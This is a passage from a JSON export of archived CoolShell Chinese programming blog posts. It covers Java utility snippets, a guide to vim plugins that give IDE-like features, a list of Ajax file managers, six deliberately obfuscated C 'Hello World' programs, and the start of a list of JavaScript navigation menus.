countryCapitals.get(\"Japan\"));  \n    System.out.println(\"Capital of France is \" + countryCapitals.get(\"France\"));  \n  }  \n} \n\n```\n\n**18. 发送邮件**\n\n\n\n```\n\nimport javax.mail.*;  \nimport javax.mail.internet.*;  \nimport java.util.*;  \n \npublic void postMail( String recipients[ ], String subject, String message , String from) throws MessagingException  \n{  \n    boolean debug = false;  \n \n     //Set the host smtp address  \n     Properties props = new Properties();  \n     props.put(\"mail.smtp.host\", \"smtp.example.com\");  \n \n    // create some properties and get the default Session  \n    Session session = Session.getDefaultInstance(props, null);  \n    session.setDebug(debug);  \n \n    // create a message  \n    Message msg = new MimeMessage(session);  \n \n    // set the from and to address  \n    InternetAddress addressFrom = new InternetAddress(from);  \n    msg.setFrom(addressFrom);  \n \n    InternetAddress[] addressTo = new InternetAddress[recipients.length];  \n    for (int i = 0; i < recipients.length; i++)  \n    {  \n        addressTo[i] = new InternetAddress(recipients[i]);  \n    }  \n    msg.setRecipients(Message.RecipientType.TO, addressTo);  \n \n    // Optional : You can also set your custom headers in the Email if you Want  \n    msg.addHeader(\"MyHeaderName\", \"myHeaderValue\");  \n \n    // Setting the Subject and Content Type  \n    msg.setSubject(subject);  \n    msg.setContent(message, \"text/plain\");  \n    Transport.send(msg);  \n} \n\n```\n\n**19. 发送代数据的HTTP 请求**\n\n\n\n```\n \nimport java.io.BufferedReader;  \nimport java.io.InputStreamReader;  \nimport java.net.URL;  \n \npublic class Main {  \n    public static void main(String[] args)  {  \n        try {  \n            URL my_url = new URL(\"https://coolshell.cn/\");  \n            BufferedReader br = new BufferedReader(new InputStreamReader(my_url.openStream()));  \n            String strTemp = \"\";  \n            while(null != (strTemp = br.readLine())){  \n            System.out.println(strTemp);  \n        }  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }  \n    }  \n}\n\n```\n\n**20. 改变数组的大小**\n\n\n\n```\n \n/** \n* Reallocates an array with a new size, and copies the contents \n* of the old array to the new array. \n* @param oldArray  the old array, to be reallocated. \n* @param newSize   the new array size. \n* @return          A new array with the same contents. \n*/ \nprivate static Object resizeArray (Object oldArray, int newSize) {  \n   int oldSize = java.lang.reflect.Array.getLength(oldArray);  \n   Class elementType = oldArray.getClass().getComponentType();  \n   Object newArray = java.lang.reflect.Array.newInstance(  \n         elementType,newSize);  \n   int preserveLength = Math.min(oldSize,newSize);  \n   if (preserveLength > 0)  \n      System.arraycopy (oldArray,0,newArray,0,preserveLength);  \n   return newArray;  \n}  \n \n// Test routine for resizeArray().  \npublic static void main (String[] args) {  \n   int[] a = {1,2,3};  \n   a = (int[])resizeArray(a,5);  \n   a[3] = 4;  \n   a[4] = 5;  \n   for (int i=0; i<a.length; i++)  \n      System.out.println (a[i]);  \n}\n\n```\n\n**(全文完)**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [20非常有用的Java程序片段](https://coolshell.cn/articles/889.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-23 将vim变得简单如何在vim中得到你最喜爱的IDE特性.md",
    "content": "---\nlayout: post\ntitle: 将vim变得简单:如何在vim中得到你最喜爱的IDE特性\ndate: 2009/5/23/ 8:32:5\nupdated: 2009/5/23/ 8:32:5\nstatus: publish\npublished: true\ntype: post\n---\n\n原文出处:[这里](http://arstechnica.com/open-source/guides/2009/05/vim-made-easy-how-to-get-your-favorite-ide-features-in-vim.ars)\n\n\n**摘要：**  \n\n开源的vim文本编辑器提供许多灵活而强大的功能，但是vim自身是很难被配置使用的，在本教材中，我们将向你显示通过几个简单的方式使得你的vim具有集成开发环境IDE的行为\n\n\nvim是很多程序员和系统管理员最爱的文本编辑器，虽然他提供了很多优秀而灵活的功能，但是对于新手来说他依然是难于上手的。从传统集成开发环境转到vim的开发人员通常会开在发方式的转变中发现迷失了自己。\n\n\n我经常收到来自于读者的邮件，他们希望能找到一种方式使得vim变得对开发者更友好。一个常见的抱怨是vim并不是自身就带有IDE的特性，并且如何来通过配置能得到等价IDE功能也不是很清晰。而揭开vim真正神奇的秘密就是利用强大的vim插件系统和对vim自身功能的改善和增强的第三方脚本。在阅你读本文之前，我已经整理好了一个vim的有用tips和插件列表，这些列表中的内容将会使那些用惯IDE功能的人们在vim上感到宾至如归的感觉。\n\n\n\n虽然vim主要是设计给基于字符方式的文本编辑器，并且它有可能是这类编辑器中最高效的工具，但是现在在vim上也存在一些更适合新手使用的基于图形的外壳。不像运行在终端窗口上的vim，你可以尝试使用一下gvim,一个基于GUI的vim版本。gvim拥有可配置的的菜单和工具条，因此可以通过鼠标直接访问到vim的编程上的最本质的特性。gvim可以让你使用操作系统自带的文件对话框，并允许你通过鼠标点击拖拉编辑面板的能力。gvim有windows和linux的版本，等价的Mac OS X的版本是MacVim，MacVim提供了Mac机的本地Cocoa用户接口，包括菜单集成的功能。  \n\n[![vimtxt_gvim_ars](../wp-content/uploads/2009/05/vimtxt_gvim_ars.jpg \"vimtxt_gvim_ars\")](https://coolshell.cn/?attachment_id=896)\n\n\n我听到来自vim用户最经常被抱怨的功能是vim的编辑区列表非常麻烦，并且没有一种简单的方式可以明了的看到什么文件是打开的。在vim上有几个插件可以解决这个问题，并提供了一个额外的编辑区列表用于方便在打开文件中切换。我最喜欢的一个插件是[MiniBufExplorer](http://www.vim.org/scripts/script.php?script_id=159)，它将列表显示在窗口的头上。当MiniBufExplorer被激活时，你可以通过tab键来在列表的这些项中循环，然后通过回车键或双击鼠标来选择在编辑区显示和你要处理的文件。  \n\n[![vimtxt_vim_minibufexplorer_ars](../wp-content/uploads/2009/05/vimtxt_vim_minibufexplorer_ars.jpg \"vimtxt_vim_minibufexplorer_ars\")](https://coolshell.cn/?attachment_id=898)\n\n\n许多的IDE工具都有用于显示你程序项目结构和允许你通过鼠标在特定的类和方法间跳转的代码导航区。你可以通过使用流行的[Tag List 插件](http://vim-taglist.sourceforge.net/installation.html)来得到这个特性。这个插件需要[Exuberant Ctags](http://ctags.sourceforge.net/)实用工具，这个工具用于分析你的代码。TagList可以通过命令:Tlist来激活，并将你的类和方法显示在激活的区域，当你打开其他的文件或切换到其他打开文件时，新的类或方法会被加到代码导航区。在gvim中你可以通过单击方法名跳到对应方法定义。如果要使用键盘，那么通过光标键上下移光标到你希望的方法处，单击回车即可达到目标。\n\n\n[![vimtxt_vim_taglist_ars](../wp-content/uploads/2009/05/vimtxt_vim_taglist_ars.jpg \"vimtxt_vim_taglist_ars\")](https://coolshell.cn/?attachment_id=895)\n\n\n自动文本完成(**译者注**：就是eclipse，visual studio中常见的输入前几个字符后面的内容通过列表显示的功能)是另外一种在IDE工具中常用特性，并且很多用户都希望在vim中有这些特性。这个特性已经在vim7中通过[Omnicompletion system](http://vim.wikia.com/wiki/Omni_completion)被引入进来。它是可编程，这就意味着你可以通过定制，使的这个功能能在各种个样的编程语言中使用，在vim中甚至存在对动态语言python或ruby生效的自动文本完成功能。现在，自动文本完成的配置已经变成了vim包中的一个部分，所以现在你可以什么都不做就能让这个功能生效。要调出自动完成菜单(列表)，你需要敲下ctrl+x和ctrl+o键，接着你可以用ctrl+n和ctrl+p在可能完成列表中进行上下选择，当你移动到一个选项，vim将为你在另外一个Scratch区域显示带方法说明和属性的上下文帮助信息。  \n\n[![vimtxt_vim_completion_ars](../wp-content/uploads/2009/05/vimtxt_vim_completion_ars.jpg \"vimtxt_vim_completion_ars\")](https://coolshell.cn/?attachment_id=897)\n\n\n你可以多种方式来改善你的vim体验，[vim维基vim wiki](http://vim.wikia.com/wiki/Main_Page)和[脚本库script repository](http://www.vim.org/scripts/index.php)为你提供了可用于增强功能的第三方增强扩展集合。这些插件实现sinppet system，outlining tools，项目管理工具，和大量的其他的特性。同时还有大量的脚本实现了对某些特定编程语言和框架的增强。例如有一个[非常流行的脚本](http://www.vim.org/scripts/script.php?script_id=1567)，这个脚本将会改善你Ruby的语法高亮，并且为你Ruby on Rail的部署提供了非常方便的导航特性\n\n\n同时也有一些[面向新手的脚本集合](http://cream.sourceforge.net/)，这个集合使得vim的行为变得更像一个带有简单菜单和快捷键的传统的文本编辑器。如果你对vim那些神秘键盘命名感到不舒服的话，你可以选择这个作为你使用vim的开始。\n\n\nvim的多样性使得它满足不同的用户使用。对于那些没有时间，能力，和爱好去通过自己去建立一个完美vim配置的人来说，无数的第三方脚本和插件为你提供了一种简单的方式，通过这种方式你可以付出很少的努力就能得到你想要的功能和特性。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![主流文本编辑器学习曲线](../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg)](https://coolshell.cn/articles/3125.html)[主流文本编辑器学习曲线](https://coolshell.cn/articles/3125.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/3083.html)[三个教程](https://coolshell.cn/articles/3083.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\nThe post [将vim变得简单:如何在vim中得到你最喜爱的IDE特性](https://coolshell.cn/articles/894.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-24 7个免费强大的Ajax文件管理器.md",
    "content": "---\nlayout: post\ntitle: 7个免费强大的Ajax文件管理器\ndate: 2009/5/24/ 12:46:56\nupdated: 2009/5/24/ 12:46:56\nstatus: publish\npublished: true\ntype: post\n---\n\n如果你正在开发一个WEB应用，需要一个不错的强大的文件管理器，并且可以简单的定制，那么，下面的这七个免费开源的文件管理器你一会喜欢的。这些文件管理器都很强大，他们全部都支持PHP，Javascript和Ajax，有几个还支持别的WEB开发语言。这些管理理可以让你完成目录文件浏览，搜索，上传/下载，编辑，拷贝，移动，删除等等文件操作功能。\n\n\n### 1. [AjaXplorer](http://www.ajaxplorer.info/)\n\n\nhttp://devsnippets.com/img/file-manager4.jpg\n\n\nAjaXplorer 是一个免费的 Ajax 文件管理器，其很容易安装。而且它的布局很丰富，可以用于多种应用，比如：文件管理，文件共享，图片库，代码库等等。不过它只支持(4 呀 5) ，不支持数据库。\n\n\n\n* 改名/拷贝/移动/删除/下载文件或目录。\n* 以进度条的方式上传多个文件 (需要Flash 支持，不支持https)\n* 创建目录和空文件。\n* 编辑纯文本文件和代码 (js, php, html, java, sql, perl)，支持语法高亮。\n* 查看图片，有缩略图功能。\n* 可以在线地播放MP3文件。\n* 在线地查看Flash videos (FLV) 文件。\n* 可以在线地浏览或解压ZIP 文件。\n\n\n**链接：**\n\n\n* **下载**：<http://www.ajaxplorer.info/download/>\n* **演示**：<http://www.ajaxplorer.info/demo/>\n\n\n \n\n\n\n### 2. [fileNice](http://filenice.com/)\n\n\nhttp://devsnippets.com/img/file-manager1.jpg\n\n\nfileNice 是一个免费的PHP文件浏览器。\n\n\n**链接：**\n\n\n* **主页：**<http://filenice.com/>\n* **演示：**<http://filenice.com/demo/>\n\n\n \n\n\n\n### 3. [File Thingie](http://www.solitude.dk/filethingie/)\n\n\nhttp://devsnippets.com/img/file-manager2.jpg\n\n\nFile Thingie 是一个小型的文件管理器。由PHP写成。他主要的目的是提示一个WEB界面的文件管理器（如果你不能使用或是不会使用FTP）。通过File Thingie你可以完成下面这些事：\n\n\n* 安装简单— 只有一个文件\n* 多文件上传\n* 多用户和用户组\n* 创建子目录\n* 改名，移动，删除，拷贝文件和目录\n* 搜索文件或目录名\n* 通过黑/白名单进行文件级的存取控制\n* 编辑纯文本文件\n* 在线Unzip 文件\n* 非常容易地进行CSS界面定制\n* 支持多国语言\n\n\n**链接：**\n\n\n* **教程：**<http://www.solitude.dk/filethingie/tour>\n* **下载：**<http://www.solitude.dk/filethingie/download>\n\n\n \n\n\n\n### 4. [MooTools based FileManager](http://og5.net/christoph/article/MooTools_based_FileManager)\n\n\nhttp://devsnippets.com/img/file-manager3.jpg\n\n\nMooTools based File-Manager 提供了预览，上传和修改文件和目录的功能。其主要功能如下：\n\n\n* 浏览文件和目录\n* 改名，删除，移动（拖放）,拷贝（Ctrl+拖放）和下载\n* 查看文件细节和预览图片文件，文本文件，压缩文件和音频文件。\n* 非常不错的UI设计\n* 通过FancyUpload 上传文件\n* 提供在上传时自动缩放图片尺寸的选项\n\n\n**链接：**\n\n\n* **演示：**<http://og5.net/christoph/Scripts/FileManager/Demos/>\n* **下载：**<http://og5.net/christoph/article/MooTools_based_FileManager>\n\n\n \n\n\n\n### 5. [Relay](http://ecosmear.com/relay/)\n\n\nhttp://devsnippets.com/img/file-manager5.jpg\n\n\nRelay 是一个极牛的Ajax 文件管理器。在上传和下载文件它做得相当出色。下面是它的一些功能：\n\n\n* 可以随意拖放文件和目录\n* 动态地载入文件目录结构\n* 上传文件进度条\n* 缩略图预览（包括PDF文件）\n* 多用户和帐号\n\n\n**链接：**\n\n\n* **演示：**<http://ecosmear.com/relay/demo/>\n* **主页：**<http://ecosmear.com/relay/>\n\n\n \n\n\n\n### 6. [Kae’s File Manager](http://kfm.verens.com/)\n\n\nhttp://devsnippets.com/img/file-manager8.jpg\n\n\nKFM 是一个在线的文件管理器，它可以单独使用或是以一个插件的方式给一些编辑器使用。比如这些编辑器：FCKeditor 或TinyMCE。KFM 是一个开源的免费的项目，下面是它的一些特性：\n\n\n* 鼠标拖放功能\n* 图标显示，列表显示\n* 支持插件\n* 图片操作，幻灯片播放\n* 简单的安装和升级\n* 文本编辑时语法高亮\n* 搜索引擎\n* 标签\n* 多语言\n* mp3 和视频播放插件\n\n\n**链接：**\n\n\n* **演示：**<http://kfm.verens.com/demo/1.3.1/?lang=en>\n* **主页：**<http://kfm.verens.com/>\n\n\n \n\n\n\n### 7. [eXtplorer](http://extplorer.sourceforge.net/)\n\n\nhttp://devsnippets.com/img/file-manager7.jpg\n\n\neXtplorer 特性如下：\n\n\n* 文件目录浏览\n* 编辑，复制，移动，删除文件\n* 搜索，上传和下载文件\n* 创建和释放压缩文件\n* 创建文件和目录\n* 更改文件和目录权限\n* 其它更多更多的内容\n\n\n**链接：**\n\n\n* **主页：** <http://extplorer.sourceforge.net/>\n\n\n \n\n\n文章：[来源](http://devsnippets.com/article/ajax/7-free-powerful-file-managers.html)\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\n* [![Javascript程序员嘴最脏??](../wp-content/uploads/2009/11/programming_language-150x150.jpg)](https://coolshell.cn/articles/1850.html)[Javascript程序员嘴最脏??](https://coolshell.cn/articles/1850.html)\nThe post [7个免费强大的Ajax文件管理器](https://coolshell.cn/articles/909.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-25 6个变态的C语言Hello World程序.md",
    "content": "---\nlayout: post\ntitle: 6个变态的C语言Hello World程序\ndate: 2009/5/25/ 11:21:24\nupdated: 2009/5/25/ 11:21:24\nstatus: publish\npublished: true\ntype: post\n---\n\n下面的六个程序片段主要完成这些事情：\n\n\n1. 输出Hello, World\n2. 混乱C语言的源代码\n\n\n下面的所有程序都可以在GCC下编译通过，只有最后一个需要动用C++的编译器g++才能编程通过。\n\n\n**hello1.c**\n\n\n\n```\n\n    #define _________ }\n    #define ________ putchar\n    #define _______ main\n    #define _(a) ________(a);\n    #define ______ _______(){\n    #define __ ______ _(0x48)_(0x65)_(0x6C)_(0x6C)\n    #define ___ _(0x6F)_(0x2C)_(0x20)_(0x77)_(0x6F)\n    #define ____ _(0x72)_(0x6C)_(0x64)_(0x21)\n    #define _____ __ ___ ____ _________\n    #include<stdio.h>\n    _____\n\n```\n\n\n**hello2.c** \n\n\n\n```\n\n    #include<stdio.h>\n    main(){\n      int x=0,y[14],*z=&y;*(z++)=0x48;*(z++)=y[x++]+0x1D;\n      *(z++)=y[x++]+0x07;*(z++)=y[x++]+0x00;*(z++)=y[x++]+0x03;\n      *(z++)=y[x++]-0x43;*(z++)=y[x++]-0x0C;*(z++)=y[x++]+0x57;\n      *(z++)=y[x++]-0x08;*(z++)=y[x++]+0x03;*(z++)=y[x++]-0x06;\n      *(z++)=y[x++]-0x08;*(z++)=y[x++]-0x43;*(z++)=y[x]-0x21;\n      x=*(--z);while(y[x]!=NULL)putchar(y[x++]);\n    }\n\n```\n\n**hello3.c**\n\n\n\n```\n\n    #include<stdio.h>\n    #define __(a) goto a;\n    #define ___(a) putchar(a);\n    #define _(a,b) ___(a) __(b);\n    main()\n    { _:__(t)a:_('r',g)b:_('$',p)\n      c:_('l',f)d:_(' ',s)e:_('a',s)\n      f:_('o',q)g:_('l',h)h:_('d',n)\n      i:_('e',w)j:_('e',x)k:_('\\n',z)\n      l:_('H',l)m:_('X',i)n:_('!',k)\n      o:_('z',q)p:_('q',b)q:_(',',d)\n      r:_('i',l)s:_('w',v)t:_('H',j)\n      u:_('a',a)v:_('o',a)w:_(')',k)\n      x:_('l',c)y:_('\\t',g)z:___(0x0)}\n\n```\n\n**hello4.c**\n\n\n\n```\n\n    int n[]={0x48,\n    0x65,0x6C,0x6C,\n    0x6F,0x2C,0x20,\n    0x77,0x6F,0x72,\n    0x6C,0x64,0x21,\n    0x0A,0x00},*m=n;\n    main(n){putchar\n    (*m)!='\\0'?main\n    (m++):exit(n++);}\n\n```\n\n**hello5.c**\n\n\n\n```\n\n    main(){int i,n[]={(((1<<1)<<(1<<1)<<(1<<\n    1)<<(1<<(1>>1)))+((1<<1)<<(1<<1))), (((1\n    <<1)<<(1<<1)<<(1<<1)<<(1<<1))-((1<<1)<<(\n    1<<1)<<(1<<1))+((1<<1)<<(1<<(1>>1)))+ (1\n    <<(1>>1))),(((1<<1)<<(1<<1)<<(1<<1)<< (1\n    <<1))-((1<<1)<<(1<<1)<<(1<<(1>>1)))- ((1\n    <<1)<<(1<<(1>>1)))),(((1<<1)<<(1<<1)<<(1\n    <<1)<<(1<<1))-((1<<1)<<(1<<1)<<(1<<(1>>1\n    )))-((1<<1)<<(1<<(1>>1)))),(((1<<1)<< (1\n    <<1)<<(1<<1)<<(1<<1))-((1<<1)<<(1<<1)<<(\n    1<<(1>>1)))-(1<<(1>>1))),(((1<<1)<<(1<<1\n    )<<(1<<1))+((1<<1)<<(1<<1)<<(1<<(1>>1)))\n    -((1<<1)<<(1<<(1>>1)))),((1<<1)<< (1<<1)\n    <<(1<<1)),(((1<<1)<<(1<<1)<<(1<<1)<<(1<<\n    1))-((1<<1)<<(1<<1))-(1<<(1>>1))),(((1<<\n    1)<<(1<<1)<<(1<<1)<<(1<<1))-((1<<1)<< (1\n    <<1)<<(1<<(1>>1)))-(1<<(1>>1))), (((1<<1\n    )<<(1<<1)<<(1<<1)<<(1<<1))- ((1<<1)<< (1\n    <<1)<<(1<<(1>>1)))+(1<<1)), (((1<<1)<< (\n    1<<1)<<(1<<1)<< (1<<1))-((1<<1)<< (1<<1)\n    <<(1<<(1>>1)))-((1<<1) <<(1<< (1>>1)))),\n    (((1<<1)<< (1<<1)<<(1<<1)<< (1<<1))- ((1\n    <<1)<<(1<<1)<<(1<<1))+((1<<1)<< (1<<(1>>\n    1)))), (((1<<1)<<(1<<1) <<(1<<1))+(1<<(1\n    >>1))),(((1<<1)<<(1<<1))+((1<<1)<< (1<<(\n    1>>1))) + (1<< (1>>1)))}; for(i=(1>>1);i\n    <(((1<<1) <<(1<<1))+((1 <<1)<< (1<<(1>>1\n    ))) + (1<<1)); i++) printf(\"%c\",n[i]); }\n\n```\n\n**hello6.cpp**\n\n\n下面的程序只能由C++的编译器编译（比如：g++）\n\n\n\n```\n\n    #include <stdio.h>\n    #define _(_) putchar(_);\n    int main(void){int i = 0;_(\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++i)_(++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++i)_(++++++++++++++\n    i)_(--++i)_(++++++i)_(------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------i)_(--------\n    ----------------i)_(++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++i)\n    _(----------------i)_(++++++\n    i)_(------------i)_(--------\n    --------i)_(----------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ------i)_(------------------\n    ----------------------------\n    i)return i;}\n\n```\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [6个变态的C语言Hello World程序](https://coolshell.cn/articles/914.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-26 20个优秀的Javascript导航技术.md",
    "content": "---\nlayout: post\ntitle: 20个优秀的Javascript导航技术\ndate: 2009/5/26/ 3:33:1\nupdated: 2009/5/26/ 3:33:1\nstatus: publish\npublished: true\ntype: post\n---\n\n以前向大家介绍过 《[30种时尚的CSS网站导航条](https://coolshell.cn/articles/562.html)》。这里，我们将向大家介绍一下使用Javascript设计的WEB页面的导航条。\n\n\n因为Javascript可以处理和用户的交互，所以使用Javascript会有更好的用户体验。在这篇文章里，你可以看到一些**令人恐怖和独一无二的Javascript制作的导航条**。\n\n\n### 1. [MenuMatic](http://greengeckodesign.com/projects/menumatic.aspx)\n\n\n这个示例主要是展示了一个排序的纵向或横向的下拉式菜单导航条。\n\n\n[http://images.sixrevisions.com/2009/04/29-02_menu_matic.jpg](http://greengeckodesign.com/projects/menumatic/examples/vertical/)\n\n\n[演示页面](http://greengeckodesign.com/projects/menumatic/examples/vertical/)\n\n\n\n### 2. [JQuery制作的动画按钮菜单](http://www.shopdev.co.uk/blog/animated-menus-using-jquery/)\n\n\n当鼠标经过的时候，按钮会有下压的感觉。\n\n\n[http://images.sixrevisions.com/2009/04/29-07_animated_menu.jpg](http://www.shopdev.co.uk/blog/menuDemo.html)\n\n\n[演示页面](http://www.shopdev.co.uk/blog/menuDemo.html)\n\n\n### 3. [jQuery 卷帘门特效导航条](http://www.gayadesign.com/diy/jquery-convertion-garagedoor-effect-using-javascript/)\n\n\n[Gaya Kessler](http://www.gayadesign.com/about/) 设计了这样一种卷帘门式导航条，相当的酷。\n\n\n[http://images.sixrevisions.com/2009/04/29-01_garage_door.jpg](http://www.gayadesign.com/scripts/jquerygaragedoor/)\n\n\n[演示页面](http://www.gayadesign.com/scripts/jquerygaragedoor/)\n\n\n### 4. [JGlide 菜单](http://sonicradish.com/labs/jGlideMenu/current/?src=ASL_LAB)\n\n\n一个独特的平面式菜单，整个菜单可以被随意拖动。\n\n\n[http://images.sixrevisions.com/2009/04/29-18_jglide.jpg](http://sonicradish.com/labs/jGlideMenu/current/static_demo.html)\n\n\n[演示页面](http://sonicradish.com/labs/jGlideMenu/current/static_demo.html)\n\n\n### 5. [jQuery 纵向滑动式菜单](http://hv-designs.co.uk/2009/02/17/sliding-jquery-menu/)\n\n\n[HVDesigns](http://hv-designs.co.uk/) 设计这个下拉式滑动式菜单。\n\n\n[http://images.sixrevisions.com/2009/04/29-03_verticle_sliding.jpg](http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html)\n\n\n[演示页面](http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html)\n\n\n### 6. [Perspective Tabs](http://www.mattweltman.com/sliding_tabs.html)\n\n\n这个技术很酷了，有点类似于iPhone，通过鼠标可以滚动导航条。\n\n\n[http://images.sixrevisions.com/2009/04/29-13_mootools_tabs.jpg](http://www.mattweltman.com/sliding_tabs.html)\n\n\n[演示页面](http://www.mattweltman.com/sliding_tabs.html)\n\n\n### 7. [Digg.com式的下拉菜单](http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html)\n\n\n这个digg.com式的下拉菜单只使用了非常小的Javascript代码。\n\n\n[http://images.sixrevisions.com/2009/04/29-09_digg_like_menu.jpg](http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html)\n\n\n### 8. [LavaLamp](http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/)\n\n\n当鼠标经过的时候，菜单项上会有一个小阴影尾随着。以前，这样的技术基本上通过Flash完成的。\n\n\n[http://images.sixrevisions.com/2009/04/29-14_mootools_fancy_menu.jpg](http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/)\n\n\n### 9. [鱼眼菜单](http://marcgrabanski.com/pages/code/fisheye-menu)\n\n\n鼠标经过的时候，图标会变得大起来。这个技术相当不错。\n\n\n[http://images.sixrevisions.com/2009/04/29-17_fisheye.jpg](http://marcgrabanski.com/pages/code/fisheye-menu)\n\n\n### 10. [简单的JavaScript折叠式菜单](http://www.dezinerfolio.com/2007/07/19/simple-javascript-accordions/)\n\n\n相当不错的一相折叠式菜单。\n\n\n[http://images.sixrevisions.com/2009/04/29-04_javascript_accordian.jpg](http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html)\n\n\n[演示页面](http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html)\n\n\n### 11. 